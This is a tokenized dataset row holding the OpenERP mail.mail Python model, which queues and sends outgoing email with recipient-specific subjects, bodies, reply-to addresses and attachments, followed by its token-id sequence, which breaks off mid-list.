content
stringlengths 1
1.04M
| input_ids
sequencelengths 1
774k
| ratio_char_token
float64 0.38
22.9
| token_count
int64 1
774k
|
---|---|---|---|
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2010-today OpenERP SA (<http://www.openerp.com>)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>
#
##############################################################################
import base64
import logging
import re
from urllib import urlencode
from urlparse import urljoin
from openerp import tools
from openerp import SUPERUSER_ID
from openerp.osv import fields, osv
from openerp.osv.orm import except_orm
from openerp.tools.translate import _
_logger = logging.getLogger(__name__)
class mail_mail(osv.Model):
""" Model holding RFC2822 email messages to send. This model also provides
facilities to queue and send new email messages. """
_name = 'mail.mail'
_description = 'Outgoing Mails'
_inherits = {'mail.message': 'mail_message_id'}
_order = 'id desc'
_columns = {
'mail_message_id': fields.many2one('mail.message', 'Message', required=True, ondelete='cascade'),
'mail_server_id': fields.many2one('ir.mail_server', 'Outgoing mail server', readonly=1),
'state': fields.selection([
('outgoing', 'Outgoing'),
('sent', 'Sent'),
('received', 'Received'),
('exception', 'Delivery Failed'),
('cancel', 'Cancelled'),
], 'Status', readonly=True),
'auto_delete': fields.boolean('Auto Delete',
help="Permanently delete this email after sending it, to save space"),
'references': fields.text('References', help='Message references, such as identifiers of previous messages', readonly=1),
'email_from': fields.char('From', help='Message sender, taken from user preferences.'),
'email_to': fields.text('To', help='Message recipients'),
'email_cc': fields.char('Cc', help='Carbon copy message recipients'),
'reply_to': fields.char('Reply-To', help='Preferred response address for the message'),
'body_html': fields.text('Rich-text Contents', help="Rich-text/HTML message"),
# Auto-detected based on create() - if 'mail_message_id' was passed then this mail is a notification
# and during unlink() we will not cascade delete the parent and its attachments
'notification': fields.boolean('Is Notification')
}
_defaults = {
'state': 'outgoing',
'email_from': lambda self, cr, uid, ctx=None: self._get_default_from(cr, uid, ctx),
}
def process_email_queue(self, cr, uid, ids=None, context=None):
"""Send immediately queued messages, committing after each
message is sent - this is not transactional and should
not be called during another transaction!
:param list ids: optional list of emails ids to send. If passed
no search is performed, and these ids are used
instead.
:param dict context: if a 'filters' key is present in context,
this value will be used as an additional
filter to further restrict the outgoing
messages to send (by default all 'outgoing'
messages are sent).
"""
if context is None:
context = {}
if not ids:
filters = ['&', ('state', '=', 'outgoing'), ('type', '=', 'email')]
if 'filters' in context:
filters.extend(context['filters'])
ids = self.search(cr, uid, filters, context=context)
res = None
try:
# Force auto-commit - this is meant to be called by
# the scheduler, and we can't allow rolling back the status
# of previously sent emails!
res = self.send(cr, uid, ids, auto_commit=True, context=context)
except Exception:
_logger.exception("Failed processing mail queue")
return res
def _postprocess_sent_message(self, cr, uid, mail, context=None):
"""Perform any post-processing necessary after sending ``mail``
successfully, including deleting it completely along with its
attachment if the ``auto_delete`` flag of the mail was set.
Overridden by subclasses for extra post-processing behaviors.
:param browse_record mail: the mail that was just sent
:return: True
"""
if mail.auto_delete:
# done with SUPERUSER_ID to avoid giving large unlink access rights
self.unlink(cr, SUPERUSER_ID, [mail.id], context=context)
return True
def send_get_mail_subject(self, cr, uid, mail, force=False, partner=None, context=None):
""" If subject is void and record_name defined: '<Author> posted on <Resource>'
:param boolean force: force the subject replacement
:param browse_record mail: mail.mail browse_record
:param browse_record partner: specific recipient partner
"""
if (force or not mail.subject) and mail.record_name:
return 'Re: %s' % (mail.record_name)
elif (force or not mail.subject) and mail.parent_id and mail.parent_id.subject:
return 'Re: %s' % (mail.parent_id.subject)
return mail.subject
def send_get_mail_body(self, cr, uid, mail, partner=None, context=None):
""" Return a specific ir_email body. The main purpose of this method
is to be inherited by Portal, to add a link for signing in, in
each notification email a partner receives.
:param browse_record mail: mail.mail browse_record
:param browse_record partner: specific recipient partner
"""
body = mail.body_html
# partner is a user, link to a related document (incentive to install portal)
if partner and partner.user_ids and mail.model and mail.res_id \
and self.check_access_rights(cr, partner.user_ids[0].id, 'read', raise_exception=False):
related_user = partner.user_ids[0]
try:
self.pool.get(mail.model).check_access_rule(cr, related_user.id, [mail.res_id], 'read', context=context)
base_url = self.pool.get('ir.config_parameter').get_param(cr, uid, 'web.base.url')
# the parameters to encode for the query and fragment part of url
query = {'db': cr.dbname}
fragment = {
'login': related_user.login,
'model': mail.model,
'id': mail.res_id,
}
url = urljoin(base_url, "?%s#%s" % (urlencode(query), urlencode(fragment)))
text = _("""<p>Access this document <a href="%s">directly in OpenERP</a></p>""") % url
body = tools.append_content_to_html(body, ("<div><p>%s</p></div>" % text), plaintext=False)
except except_orm, e:
pass
return body
def send_get_mail_reply_to(self, cr, uid, mail, partner=None, context=None):
""" Return a specific ir_email reply_to.
:param browse_record mail: mail.mail browse_record
:param browse_record partner: specific recipient partner
"""
if mail.reply_to:
return mail.reply_to
email_reply_to = False
# if model and res_id: try to use ``message_get_reply_to`` that returns the document alias
if mail.model and mail.res_id and hasattr(self.pool.get(mail.model), 'message_get_reply_to'):
email_reply_to = self.pool.get(mail.model).message_get_reply_to(cr, uid, [mail.res_id], context=context)[0]
# no alias reply_to -> reply_to will be the email_from, only the email part
if not email_reply_to and mail.email_from:
emails = tools.email_split(mail.email_from)
if emails:
email_reply_to = emails[0]
# format 'Document name <email_address>'
if email_reply_to and mail.model and mail.res_id:
document_name = self.pool.get(mail.model).name_get(cr, SUPERUSER_ID, [mail.res_id], context=context)[0]
if document_name:
# sanitize document name
sanitized_doc_name = re.sub(r'[^\w+.]+', '-', document_name[1])
# generate reply to
email_reply_to = _('"Followers of %s" <%s>') % (sanitized_doc_name, email_reply_to)
return email_reply_to
def send_get_email_dict(self, cr, uid, mail, partner=None, context=None):
""" Return a dictionary for specific email values, depending on a
partner, or generic to the whole recipients given by mail.email_to.
:param browse_record mail: mail.mail browse_record
:param browse_record partner: specific recipient partner
"""
body = self.send_get_mail_body(cr, uid, mail, partner=partner, context=context)
subject = self.send_get_mail_subject(cr, uid, mail, partner=partner, context=context)
reply_to = self.send_get_mail_reply_to(cr, uid, mail, partner=partner, context=context)
body_alternative = tools.html2plaintext(body)
# generate email_to, heuristic:
# 1. if 'partner' is specified and there is a related document: Followers of 'Doc' <email>
# 2. if 'partner' is specified, but no related document: Partner Name <email>
# 3; fallback on mail.email_to that we split to have an email addresses list
if partner and mail.record_name:
sanitized_record_name = re.sub(r'[^\w+.]+', '-', mail.record_name)
email_to = [_('"Followers of %s" <%s>') % (sanitized_record_name, partner.email)]
elif partner:
email_to = ['%s <%s>' % (partner.name, partner.email)]
else:
email_to = tools.email_split(mail.email_to)
return {
'body': body,
'body_alternative': body_alternative,
'subject': subject,
'email_to': email_to,
'reply_to': reply_to,
}
def send(self, cr, uid, ids, auto_commit=False, recipient_ids=None, context=None):
""" Sends the selected emails immediately, ignoring their current
state (mails that have already been sent should not be passed
unless they should actually be re-sent).
Emails successfully delivered are marked as 'sent', and those
that fail to be deliver are marked as 'exception', and the
corresponding error mail is output in the server logs.
:param bool auto_commit: whether to force a commit of the mail status
after sending each mail (meant only for scheduler processing);
should never be True during normal transactions (default: False)
:param list recipient_ids: specific list of res.partner recipients.
If set, one email is sent to each partner. Its is possible to
tune the sent email through ``send_get_mail_body`` and ``send_get_mail_subject``.
If not specified, one email is sent to mail_mail.email_to.
:return: True
"""
ir_mail_server = self.pool.get('ir.mail_server')
for mail in self.browse(cr, uid, ids, context=context):
try:
# handle attachments
attachments = []
for attach in mail.attachment_ids:
attachments.append((attach.datas_fname, base64.b64decode(attach.datas)))
# specific behavior to customize the send email for notified partners
email_list = []
if recipient_ids:
partner_obj = self.pool.get('res.partner')
existing_recipient_ids = partner_obj.exists(cr, SUPERUSER_ID, recipient_ids, context=context)
for partner in partner_obj.browse(cr, SUPERUSER_ID, existing_recipient_ids, context=context):
email_list.append(self.send_get_email_dict(cr, uid, mail, partner=partner, context=context))
else:
email_list.append(self.send_get_email_dict(cr, uid, mail, context=context))
# build an RFC2822 email.message.Message object and send it without queuing
res = None
for email in email_list:
msg = ir_mail_server.build_email(
email_from = mail.email_from,
email_to = email.get('email_to'),
subject = email.get('subject'),
body = email.get('body'),
body_alternative = email.get('body_alternative'),
email_cc = tools.email_split(mail.email_cc),
reply_to = email.get('reply_to'),
attachments = attachments,
message_id = mail.message_id,
references = mail.references,
object_id = mail.res_id and ('%s-%s' % (mail.res_id, mail.model)),
subtype = 'html',
subtype_alternative = 'plain')
res = ir_mail_server.send_email(cr, uid, msg,
mail_server_id=mail.mail_server_id.id, context=context)
if res:
mail.write({'state': 'sent', 'message_id': res})
mail_sent = True
else:
mail.write({'state': 'exception'})
mail_sent = False
# /!\ can't use mail.state here, as mail.refresh() will cause an error
# see revid:[email protected] in 6.1
if mail_sent:
self._postprocess_sent_message(cr, uid, mail, context=context)
except MemoryError:
# prevent catching transient MemoryErrors, bubble up to notify user or abort cron job
# instead of marking the mail as failed
raise
except Exception:
_logger.exception('failed sending mail.mail %s', mail.id)
mail.write({'state': 'exception'})
if auto_commit == True:
cr.commit()
return True
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
29113,
29113,
7804,
4242,
2235,
198,
2,
198,
2,
220,
220,
220,
4946,
1137,
47,
11,
4946,
8090,
8549,
28186,
198,
2,
220,
220,
220,
15069,
357,
34,
8,
3050,
12,
40838,
4946,
1137,
47,
14719,
38155,
4023,
1378,
2503,
13,
404,
877,
79,
13,
785,
43734,
198,
2,
198,
2,
220,
220,
220,
770,
1430,
318,
1479,
3788,
25,
345,
460,
17678,
4163,
340,
290,
14,
273,
13096,
198,
2,
220,
220,
220,
340,
739,
262,
2846,
286,
262,
22961,
6708,
3529,
3611,
5094,
13789,
355,
198,
2,
220,
220,
220,
3199,
416,
262,
3232,
10442,
5693,
11,
2035,
2196,
513,
286,
262,
198,
2,
220,
220,
220,
13789,
11,
393,
357,
265,
534,
3038,
8,
597,
1568,
2196,
198,
2,
198,
2,
220,
220,
220,
770,
1430,
318,
9387,
287,
262,
2911,
326,
340,
481,
307,
4465,
11,
198,
2,
220,
220,
220,
475,
42881,
15529,
34764,
56,
26,
1231,
772,
262,
17142,
18215,
286,
198,
2,
220,
220,
220,
34482,
3398,
1565,
5603,
25382,
393,
376,
46144,
7473,
317,
16652,
2149,
37232,
33079,
48933,
13,
220,
4091,
262,
198,
2,
220,
220,
220,
22961,
6708,
3529,
3611,
5094,
13789,
329,
517,
3307,
198,
2,
198,
2,
220,
220,
220,
921,
815,
423,
2722,
257,
4866,
286,
262,
22961,
6708,
3529,
3611,
5094,
13789,
198,
2,
220,
220,
220,
1863,
351,
428,
1430,
13,
220,
1002,
407,
11,
766,
1279,
4023,
1378,
2503,
13,
41791,
13,
2398,
14,
677,
4541,
15913,
198,
2,
198,
29113,
29113,
7804,
4242,
2235,
198,
198,
11748,
2779,
2414,
198,
11748,
18931,
198,
11748,
302,
198,
6738,
2956,
297,
571,
1330,
2956,
11925,
8189,
198,
6738,
19016,
29572,
1330,
19016,
22179,
198,
198,
6738,
21996,
79,
1330,
4899,
198,
6738,
21996,
79,
1330,
33088,
29904,
62,
2389,
198,
6738,
21996,
79,
13,
418,
85,
1330,
7032,
11,
267,
21370,
198,
6738,
21996,
79,
13,
418,
85,
13,
579,
1330,
2845,
62,
579,
198,
6738,
21996,
79,
13,
31391,
13,
7645,
17660,
1330,
4808,
198,
198,
62,
6404,
1362,
796,
18931,
13,
1136,
11187,
1362,
7,
834,
3672,
834,
8,
628,
198,
4871,
6920,
62,
4529,
7,
418,
85,
13,
17633,
2599,
198,
220,
220,
220,
37227,
9104,
4769,
30978,
2078,
1828,
3053,
6218,
284,
3758,
13,
770,
2746,
635,
3769,
198,
220,
220,
220,
220,
220,
220,
220,
7291,
284,
16834,
290,
3758,
649,
3053,
6218,
13,
220,
37227,
198,
220,
220,
220,
4808,
3672,
796,
705,
4529,
13,
4529,
6,
198,
220,
220,
220,
4808,
11213,
796,
705,
7975,
5146,
337,
1768,
6,
198,
220,
220,
220,
4808,
259,
372,
896,
796,
1391,
6,
4529,
13,
20500,
10354,
705,
4529,
62,
20500,
62,
312,
6,
92,
198,
220,
220,
220,
4808,
2875,
796,
705,
312,
1715,
6,
628,
220,
220,
220,
4808,
28665,
82,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
705,
4529,
62,
20500,
62,
312,
10354,
7032,
13,
21834,
17,
505,
10786,
4529,
13,
20500,
3256,
705,
12837,
3256,
2672,
28,
17821,
11,
319,
33678,
11639,
66,
28966,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
705,
4529,
62,
15388,
62,
312,
10354,
7032,
13,
21834,
17,
505,
10786,
343,
13,
4529,
62,
15388,
3256,
705,
7975,
5146,
6920,
4382,
3256,
1100,
8807,
28,
16,
828,
198,
220,
220,
220,
220,
220,
220,
220,
705,
5219,
10354,
7032,
13,
49283,
26933,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
19203,
448,
5146,
3256,
705,
7975,
5146,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
19203,
34086,
3256,
705,
31837,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
19203,
47844,
3256,
705,
3041,
6471,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
19203,
1069,
4516,
3256,
705,
33129,
22738,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
19203,
66,
21130,
3256,
705,
34,
590,
3353,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
16589,
705,
19580,
3256,
1100,
8807,
28,
17821,
828,
198,
220,
220,
220,
220,
220,
220,
220,
705,
23736,
62,
33678,
10354,
7032,
13,
2127,
21052,
10786,
27722,
23520,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1037,
2625,
47,
2224,
1473,
12233,
428,
3053,
706,
7216,
340,
11,
284,
3613,
2272,
12340,
198,
220,
220,
220,
220,
220,
220,
220,
705,
5420,
4972,
10354,
7032,
13,
5239,
10786,
19927,
3256,
1037,
11639,
12837,
10288,
11,
884,
355,
42814,
286,
2180,
6218,
3256,
1100,
8807,
28,
16,
828,
198,
220,
220,
220,
220,
220,
220,
220,
705,
12888,
62,
6738,
10354,
7032,
13,
10641,
10786,
4863,
3256,
1037,
11639,
12837,
29788,
11,
2077,
422,
2836,
15387,
2637,
828,
198,
220,
220,
220,
220,
220,
220,
220,
705,
12888,
62,
1462,
10354,
7032,
13,
5239,
10786,
2514,
3256,
1037,
11639,
12837,
20352,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
705,
12888,
62,
535,
10354,
7032,
13,
10641,
10786,
34,
66,
3256,
1037,
11639,
9914,
4189,
4866,
3275,
20352,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
705,
47768,
62,
1462,
10354,
7032,
13,
10641,
10786,
36875,
12,
2514,
3256,
1037,
11639,
6719,
18186,
2882,
2209,
329,
262,
3275,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
705,
2618,
62,
6494,
10354,
7032,
13,
5239,
10786,
14868,
12,
5239,
26714,
3256,
1037,
2625,
14868,
12,
5239,
14,
28656,
3275,
12340,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
11160,
12,
15255,
11197,
1912,
319,
2251,
3419,
532,
611,
705,
4529,
62,
20500,
62,
312,
6,
373,
3804,
788,
428,
6920,
318,
257,
14483,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
290,
1141,
555,
8726,
3419,
356,
481,
407,
44847,
12233,
262,
2560,
290,
663,
32161,
198,
220,
220,
220,
220,
220,
220,
220,
705,
1662,
2649,
10354,
7032,
13,
2127,
21052,
10786,
3792,
42808,
11537,
198,
220,
220,
220,
1782,
628,
220,
220,
220,
4808,
12286,
82,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
705,
5219,
10354,
705,
448,
5146,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
705,
12888,
62,
6738,
10354,
37456,
2116,
11,
1067,
11,
334,
312,
11,
269,
17602,
28,
14202,
25,
2116,
13557,
1136,
62,
12286,
62,
6738,
7,
6098,
11,
334,
312,
11,
269,
17602,
828,
198,
220,
220,
220,
1782,
628,
220,
220,
220,
825,
1429,
62,
12888,
62,
36560,
7,
944,
11,
1067,
11,
334,
312,
11,
220,
2340,
28,
14202,
11,
4732,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
25206,
3393,
8358,
1739,
6218,
11,
17222,
706,
1123,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3275,
318,
1908,
532,
428,
318,
407,
48878,
1538,
290,
815,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
407,
307,
1444,
1141,
1194,
8611,
0,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1351,
220,
2340,
25,
11902,
1351,
286,
7237,
220,
2340,
284,
3758,
13,
1002,
3804,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
645,
2989,
318,
6157,
11,
290,
777,
220,
2340,
389,
973,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2427,
13,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
8633,
4732,
25,
611,
257,
705,
10379,
1010,
6,
1994,
318,
1944,
287,
4732,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
428,
1988,
481,
307,
973,
355,
281,
3224,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
8106,
284,
2252,
4239,
262,
28181,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6218,
284,
3758,
357,
1525,
4277,
477,
705,
448,
5146,
6,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6218,
389,
1908,
737,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
611,
4732,
318,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4732,
796,
23884,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
220,
2340,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
16628,
796,
37250,
5,
3256,
19203,
5219,
3256,
705,
28,
3256,
705,
448,
5146,
33809,
19203,
4906,
3256,
705,
28,
3256,
705,
12888,
11537,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
705,
10379,
1010,
6,
287,
4732,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
16628,
13,
2302,
437,
7,
22866,
17816,
10379,
1010,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2340,
796,
2116,
13,
12947,
7,
6098,
11,
334,
312,
11,
16628,
11,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
581,
796,
6045,
198,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
5221,
8295,
12,
41509,
532,
428,
318,
4001,
284,
307,
1444,
416,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
262,
6038,
18173,
11,
290,
356,
460,
470,
1249,
10708,
736,
262,
3722,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
286,
4271,
1908,
7237,
0,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
581,
796,
2116,
13,
21280,
7,
6098,
11,
334,
312,
11,
220,
2340,
11,
8295,
62,
41509,
28,
17821,
11,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2845,
35528,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4808,
6404,
1362,
13,
1069,
4516,
7203,
37,
6255,
7587,
6920,
16834,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
581,
628,
220,
220,
220,
825,
4808,
7353,
14681,
62,
34086,
62,
20500,
7,
944,
11,
1067,
11,
334,
312,
11,
6920,
11,
4732,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
5990,
687,
597,
1281,
12,
36948,
3306,
706,
7216,
7559,
4529,
15506,
198,
220,
220,
220,
220,
220,
220,
220,
7675,
11,
1390,
34817,
340,
3190,
1863,
351,
663,
198,
220,
220,
220,
220,
220,
220,
220,
18231,
611,
262,
7559,
23736,
62,
33678,
15506,
6056,
286,
262,
6920,
373,
900,
13,
198,
220,
220,
220,
220,
220,
220,
220,
3827,
40372,
416,
850,
37724,
329,
3131,
1281,
12,
36948,
14301,
13,
628,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
6920,
25,
262,
6920,
326,
373,
655,
1908,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
7783,
25,
6407,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
611,
6920,
13,
23736,
62,
33678,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1760,
351,
33088,
29904,
62,
2389,
284,
3368,
3501,
1588,
555,
8726,
1895,
2489,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
403,
8726,
7,
6098,
11,
33088,
29904,
62,
2389,
11,
685,
4529,
13,
312,
4357,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
6407,
628,
220,
220,
220,
825,
3758,
62,
1136,
62,
4529,
62,
32796,
7,
944,
11,
1067,
11,
334,
312,
11,
6920,
11,
2700,
28,
25101,
11,
5212,
28,
14202,
11,
4732,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
1002,
2426,
318,
7951,
290,
1700,
62,
3672,
5447,
25,
705,
27,
13838,
29,
4481,
319,
1279,
26198,
29,
6,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25131,
2700,
25,
2700,
262,
2426,
9014,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
6920,
25,
6920,
13,
4529,
25675,
62,
22105,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
5212,
25,
2176,
17800,
5212,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
611,
357,
3174,
393,
407,
6920,
13,
32796,
8,
290,
6920,
13,
22105,
62,
3672,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
705,
3041,
25,
4064,
82,
6,
4064,
357,
4529,
13,
22105,
62,
3672,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
357,
3174,
393,
407,
6920,
13,
32796,
8,
290,
6920,
13,
8000,
62,
312,
290,
6920,
13,
8000,
62,
312,
13,
32796,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
705,
3041,
25,
4064,
82,
6,
4064,
357,
4529,
13,
8000,
62,
312,
13,
32796,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
6920,
13,
32796,
628,
220,
220,
220,
825,
3758,
62,
1136,
62,
4529,
62,
2618,
7,
944,
11,
1067,
11,
334,
312,
11,
6920,
11,
5212,
28,
14202,
11,
4732,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
8229,
257,
2176,
4173,
62,
12888,
1767,
13,
383,
1388,
4007,
286,
428,
2446,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
318,
284,
307,
19552,
416,
25663,
11,
284,
751,
257,
2792,
329,
8415,
287,
11,
287,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1123,
14483,
3053,
257,
5212,
11583,
13,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
6920,
25,
6920,
13,
4529,
25675,
62,
22105,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
5212,
25,
2176,
17800,
5212,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1767,
796,
6920,
13,
2618,
62,
6494,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
5212,
318,
257,
2836,
11,
2792,
284,
257,
3519,
3188,
357,
42816,
425,
284,
2721,
17898,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
5212,
290,
5212,
13,
7220,
62,
2340,
290,
6920,
13,
19849,
290,
6920,
13,
411,
62,
312,
3467,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
290,
2116,
13,
9122,
62,
15526,
62,
28046,
7,
6098,
11,
5212,
13,
7220,
62,
2340,
58,
15,
4083,
312,
11,
705,
961,
3256,
5298,
62,
1069,
4516,
28,
25101,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3519,
62,
7220,
796,
5212,
13,
7220,
62,
2340,
58,
15,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7742,
13,
1136,
7,
4529,
13,
19849,
737,
9122,
62,
15526,
62,
25135,
7,
6098,
11,
3519,
62,
7220,
13,
312,
11,
685,
4529,
13,
411,
62,
312,
4357,
705,
961,
3256,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2779,
62,
6371,
796,
2116,
13,
7742,
13,
1136,
10786,
343,
13,
11250,
62,
17143,
2357,
27691,
1136,
62,
17143,
7,
6098,
11,
334,
312,
11,
705,
12384,
13,
8692,
13,
6371,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
262,
10007,
284,
37773,
329,
262,
12405,
290,
24225,
636,
286,
19016,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
12405,
796,
1391,
6,
9945,
10354,
1067,
13,
9945,
3672,
92,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24225,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
38235,
10354,
3519,
62,
7220,
13,
38235,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
19849,
10354,
6920,
13,
19849,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
312,
10354,
6920,
13,
411,
62,
312,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1782,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
19016,
796,
19016,
22179,
7,
8692,
62,
6371,
11,
366,
30,
4,
82,
2,
4,
82,
1,
4064,
357,
6371,
268,
8189,
7,
22766,
828,
2956,
11925,
8189,
7,
8310,
363,
434,
22305,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2420,
796,
4808,
7203,
15931,
27,
79,
29,
15457,
428,
3188,
1279,
64,
13291,
2625,
4,
82,
5320,
12942,
306,
287,
4946,
1137,
47,
3556,
64,
12240,
79,
29,
15931,
4943,
4064,
19016,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1767,
796,
4899,
13,
33295,
62,
11299,
62,
1462,
62,
6494,
7,
2618,
11,
5855,
27,
7146,
6927,
79,
29,
4,
82,
3556,
79,
12240,
7146,
24618,
4064,
2420,
828,
8631,
5239,
28,
25101,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2845,
2845,
62,
579,
11,
304,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1208,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
1767,
628,
220,
220,
220,
825,
3758,
62,
1136,
62,
4529,
62,
47768,
62,
1462,
7,
944,
11,
1067,
11,
334,
312,
11,
6920,
11,
5212,
28,
14202,
11,
4732,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
8229,
257,
2176,
4173,
62,
12888,
10971,
62,
1462,
13,
628,
220,
